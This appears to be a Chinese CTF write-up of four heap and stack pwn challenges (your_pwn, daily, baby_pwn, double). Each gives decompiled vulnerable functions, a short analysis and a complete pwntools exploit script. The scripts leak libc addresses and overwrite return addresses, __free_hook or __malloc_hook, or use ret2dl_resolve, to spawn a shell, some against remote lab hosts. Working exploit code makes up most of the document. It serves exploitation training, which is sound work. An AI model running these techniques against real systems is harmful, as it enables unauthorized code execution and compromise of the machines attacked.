太菜了,堆的题要么找不到洞,要么找不到好的思路,得加紧训练

your_pwn

题目

关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  memset(&s, 0, 0x100uLL);
memset(arr, 0, 0x28uLL);
for ( i = 0; i <= 40; ++i )
{
puts("input index");
__isoc99_scanf("%d", &idx);
printf("now value(hex) %x\n", (unsigned int)arr[idx]);
puts("input new value");
__isoc99_scanf("%d", &new_v);
arr[idx] = new_v;
}
puts("do you want continue(yes/no)? ");
read(0, &s, 0x100uLL);
return strncmp(&s, "yes", 3uLL) == 0;
}

分析

原意是可以给arr的每个地址赋新值,但是因为其没有对idx进行限制,因而相当于任意地址写,同时因为其会先将地址处的值显示出来,因而可以先泄露地址

通过泄露栈中的libc_start_main+240,得到libc基址同时查询得到libc版本为2.23,因此可以直接计算处one_adget 地址,最后用同样的方法再循环写入返回地址为

one_gadget即可;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.log_level = 'debug'
#sh=process('./pwn')
sh=remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com','57856')#('111.198.29.45','32440')
elf = ELF('./pwn')
sh.sendlineafter('name:','name')

leak = ''
def scan(idx):
global leak
sh.sendlineafter('index\n',str(idx))
sh.recvuntil('(hex) ')
r = sh.recvuntil('\n',drop=True)[-2:]
print r
leak =r+leak
l=int(r,16)
sh.sendlineafter('value\n',str(l))

for i in range(632,638):
scan(i)
leak=leak.ljust(8,'\x00')
print leak
leak_addr = int('0x'+leak,16)
print hex(leak_addr)

libc_start = leak_addr -240
print 'libc_start_main:' + hex(libc_start)
libc = leak_addr-elf.plt['__libc_start_main']-0x1ff20
print hex(libc)
#system = libc+ 0x045390
#binsh = libc + 0x18cd57
one = 0x4526a + libc
print 'one: '+ hex(one)


ls = [0,0,0,0,0,0,0,0]
for i in range(0,8):
ls[i] = one%0x100
print hex(ls[i])
one /= 0x100


for i in range(344,352):
j=i-344
print hex(ls[j])
sh.sendlineafter('index\n',str(i))
sh.sendlineafter('value\n',str(ls[j]))
# sleep(2)

#gdb.attach(sh,'b* 0xc2a'+str(libc))
sh.sendlineafter('index\n',str(-1))
sh.sendlineafter('value\n',str(1))
sh.sendlineafter('? \n','no')

#gdb.attach(sh)
sh.interactive()

daily

做一半电脑死机了。。坑。。。

题目

漏洞点比较隐蔽,看了好久

关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 remove()
{
int idx; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( cnt )
{
printf("Please enter the index of daily:");
read(0, &buf, 8uLL);
idx = atoi(&buf);

if ( *(_QWORD *)&ptr[4 * idx + 2] ) // 没有检查idx的大小
{
free(*(void **)&ptr[4 * idx + 2]);
*(_QWORD *)&ptr[4 * idx + 2] = 0LL;
ptr[4 * idx] = 0;
puts("remove successful!!");
--cnt;
}
else
{
puts("invaild index");
}
}
else
{
puts("No pages in the daily");
}
return __readfsqword(0x28u) ^ v3;
}

分析

前面很容易想到利用malloc_consolidate 来泄露libc地址及heap地址;

而漏洞点在于在删除chunk时,没有对输入的idx进行检查,所以只要释放的地址处的chunk可以通过检查,就可以被置入bin链表中

而只要泄露堆地址,就可以运算得到其index,因为输入的是整型数据,所以在一定情况下堆分配离bss段较远时会出错,不过这个问题可以多次尝试来解决

所以在堆上伪造如同bss段的结构体(size+ptr),delete时将idx指向这里free掉一个chunk,而因为这样并不会情况bss段存储的结构体,我们就可以UAF

最后因为尝试one_gadget条件无法满足,最后只能换成调用system函数来覆盖free_hook来getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

sh = process('./pwn')
#sh = remote('5f0cfa41a052c741f4beafe9d083d281.kr - lab.com',58512)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size,con):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('daily:')
sh.sendline(str(size))
sh.recvuntil('daily\n')
sh.send(con)
def dele(idx):
sh.recvuntil('choice:')
sh.sendline('4')
sh.recvuntil('daily:')
sh.sendline(str(idx))
def edit(idx,con):
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('daily:')
sh.sendline(str(idx))
sh.recvuntil('daily')
sh.send(con)
def show():
sh.recvuntil('choice:')
sh.sendline('1')


add(0x20,'a')
add(0x800,'a')
add(0x10,'a')
dele(1)
add(0x100,'aaaaaa')
show()
sh.recvuntil('a'*8)
main_arena = u64(sh.recv(6).ljust(8,'\x00')) - 0x548

libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10
one_gadget = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']

edit(1,'a'*24)
show()
sh.recvuntil('a'*24)
heap = u64(sh.recv(4).ljust(8,'\x00'))


add(0x700-8,'aaa')
add(0x10,'aaa')
add(0x10,'aaa')
dele(4)
dele(5)
index = (heap + 0x10 - 0x602060)/16
payload = p64(0x100) + p64(heap + 0x830 + 0x10)
edit(1,payload)
dele(index)

add(0x10,p64(0x602058))
add(0x10,'c')
add(0x10,'d')
add(0x10,'e')

edit(7,p64(free_hook))
edit(0,p64(one_gadget))
edit(1,'/bin/sh\x00')
dele(1)

sh.interactive()

baby_pwn

题目

关键函数

1
2
3
4
5
6
ssize_t vuln()
{
char buf; // [esp+0h] [ebp-28h]

return read(0, &buf, 0x100u);
}

保护

1
2
3
4
5
arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

分析

直接给了溢出,同时除了PIE保护全开,没有给libc,可以确定是ret2_dl_runtime_resolve

可以直接使用roputils库 ,在bss段伪造结构体 ,然后上脚本即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import sys
import roputils
from pwn import *
context.log_level = 'debug'
offset = 44
readplt = 0x08048390
bss = 0x0804a068
vulFunc = 0x0804852d

#p = process('./pwn')
p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com','33865')
rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')

# step1 : write sh & resolve struct to bss
buf1 = 'a' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)

buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)


#step2 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'a'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(buf3)
p.interactive()

double

其实很简单的一道题。。。结果当天没做出来。。过了一天,昨天睡觉前突然意识到怎么做。。。最后写出来用了不到20分钟!!难受

题目

程序使用链表来记录分配的chunk,删除时也就是链表的元素删除,所以当时会陷入对链表的问题的查找,而实际上问题不在这里

主要问题函数:

分配的new函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 new()
{
int size; // [rsp+4h] [rbp-12Ch]
struc *ptr; // [rsp+8h] [rbp-128h]
struc *last; // [rsp+10h] [rbp-120h]
char *dest; // [rsp+18h] [rbp-118h]
char s2; // [rsp+20h] [rbp-110h]
unsigned __int64 v6; // [rsp+128h] [rbp-8h]

v6 = __readfsqword(0x28u);
ptr = (struc *)malloc(0x18uLL);
if ( ptr )
{
puts("Your data:");
size = get_str(&s2, 0x100);
last = ptrStop;
if ( ptrStop && !strcmp((const char *)ptrStop->chunk_ptr, &s2) )
{
ptr->idx = last->idx + 1;
ptr->size = last->size;
ptr->chunk_ptr = last->chunk_ptr;
ptr->next_chunk = 0LL;
last->next_chunk = (__int64)ptr;
ptrStop = ptr;
}
else
{
dest = (char *)malloc(size + 1);
if ( !dest )
{
puts("Malloc Failed, Error");
free(ptr);
return __readfsqword(0x28u) ^ v6;
}
strncpy(dest, &s2, size + 1);
ptr->size = size;
ptr->chunk_ptr = (__int64)dest;
ptr->next_chunk = 0LL;
if ( ptrStart )
{
ptr->idx = last->idx + 1;
last->next_chunk = (__int64)ptr;
}
else
{
ptr->idx = 0;
ptrStart = (__int64)ptr;
}
ptrStop = ptr;
}
printf("Success, index: %d\n", (unsigned int)ptr->idx);
return __readfsqword(0x28u) ^ v6;
}
puts("Malloc Failed,Error");
return __readfsqword(0x28u) ^ v6;
}

分析

这个程序的问题在于分配chunk时,会检查内容是否相同,如果相同的话,就不再多分配chunk,只会分配结构体 chunk然后将其中的指针指向已知的chunk,也就会出现两个指针指向同一个chunk,我们就可以UAF

1
if ( ptrStop && !strcmp((const char *)ptrStop->chunk_ptr, &s2) )

而其实这就已经是极大的漏洞了,利用这个洞完全可以泄露libc然后覆盖fd指针到malloc_hook, one_gadget 一把梭getshell

完全没必要总去想着控制链表指针什么的…费力不讨好

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

#context.log_level = 'debug'

sh=process('./pwn')
#sh=remote('')#('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com','58512')#('111.198.29.45','32440')
elf = ELF('./pwn')

def show(idx):
sh.sendlineafter('> ','2')
sh.sendlineafter('index: ',str(idx))
def new(con):
sh.sendlineafter('> ','1')
sh.sendlineafter('data:\n',con)

def edit(idx,con):
sh.sendlineafter('> ','3')
sh.sendlineafter('index: ',str(idx))
sh.sendline(con)

def dele(idx):
sh.sendlineafter('> ','4')
sh.sendlineafter('index: ',str(idx))

new('a'*8)
new('a'*8)
new('b'*8)
new('c'*0x80)
new('c'*0x80)
new('d'*0x60)
new('d'*0x60)

new('e'*0x20)

#----------------leak heap base------------------------------//没有必要, 所以其实可以更短
dele(2)
dele(0)
show(1)
heap = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x60
print hex(heap)

new('d'*8)
new('a'*8)
#---------------leak libc base-----------------------------
dele(3)
show(4)

libc = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))-88-0x3c4b20
print hex(libc)
one = libc+0x4526a
print hex(one)

new('c'*0x80)

#------------------hjack malloc_hook to getshell-----------
dele(5)
edit(6,p64(libc+0x3c4b20-0x33))
new('d'*0x60)
new('a'*0x13+p64(one)+p64(0)*9)

sh.sendlineafter('> ','1')
sh.sendline('end')

#gdb.attach(sh)

sh.interactive()